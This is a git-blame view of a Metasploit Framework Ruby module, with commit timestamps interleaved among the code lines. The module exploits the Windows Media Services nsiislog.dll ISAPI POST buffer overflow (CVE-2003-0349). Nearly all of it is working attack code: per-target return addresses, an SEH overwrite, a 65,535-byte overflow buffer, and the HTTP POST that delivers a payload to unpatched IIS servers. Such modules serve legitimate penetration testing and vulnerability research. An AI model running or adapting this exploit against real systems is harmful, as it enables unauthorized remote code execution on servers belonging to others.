2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-02-27 09:33:26 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/projects/Framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
module Msf
|
|
|
|
|
|
|
|
class Exploits::Windows::Isapi::IIS_NSIISLOG_Overflow < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
|
|
|
|
include Exploit::Remote::HttpClient
|
|
|
|
include Exploit::Remote::BruteTargets
|
|
|
|
include Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:28:35 +00:00
|
|
|
'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
|
2005-12-26 14:34:22 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This exploits a buffer overflow found in the nsiislog.dll
|
|
|
|
ISAPI filter that comes with Windows Media Server. This
|
|
|
|
module will also work against the 'patched' MS03-019
|
|
|
|
version. This vulnerability was addressed by MS03-022.
|
|
|
|
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-12-26 14:34:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'BID', '8035'],
|
2005-12-26 14:34:22 +00:00
|
|
|
[ 'OSVDB', '4535'],
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2003-0349'],
|
2005-12-26 14:34:22 +00:00
|
|
|
[ 'MSB', 'MS03-022'],
|
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
|
|
|
|
[ 'MIL', '30'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['Brute Force', { }],
|
|
|
|
['Windows 2000 -MS03-019', { 'Rets' => [ 9769, 0x40f01333 ] }],
|
|
|
|
['Windows 2000 +MS03-019', { 'Rets' => [ 13869, 0x40f01353 ] }],
|
|
|
|
['Windows XP -MS03-019', { 'Rets' => [ 9773, 0x40f011e0 ] }],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jun 25 2003',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2006-12-28 23:42:36 +00:00
|
|
|
r = send_request_raw({
|
|
|
|
'uri' => datastore['URL']
|
|
|
|
}, -1)
|
2005-12-26 14:34:22 +00:00
|
|
|
|
|
|
|
if (res and res.body =~ /NetShow ISAPI/)
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_target(target)
|
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
vars = {}
|
2007-02-27 09:33:26 +00:00
|
|
|
buf = ''
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
%w{
|
|
|
|
date time c-dns cs-uri-stem c-starttime
|
|
|
|
x-duration c-rate c-status c-playerid c-playerversion
|
|
|
|
c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe
|
|
|
|
}.each do |field|
|
|
|
|
buf << field + '=' + 'BOOM&'
|
|
|
|
end
|
|
|
|
|
|
|
|
pat = 'O' * 65535
|
|
|
|
seh = generate_seh_payload(target['Rets'][1])
|
|
|
|
pat[ target['Rets'][0] - 4, seh.length] = seh
|
|
|
|
buf << pat
|
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
print_status("Sending request...")
|
|
|
|
res = send_request_cgi({
|
2005-12-26 14:34:22 +00:00
|
|
|
'uri' => datastore['URL'],
|
|
|
|
'method' => 'POST',
|
|
|
|
'user-agent' => 'NSPlayer/2.0',
|
|
|
|
'content-type' => 'application/x-www-form-urlencoded',
|
2006-12-28 23:42:36 +00:00
|
|
|
'data' => buf
|
|
|
|
}, 5)
|
|
|
|
|
2005-12-26 14:34:22 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|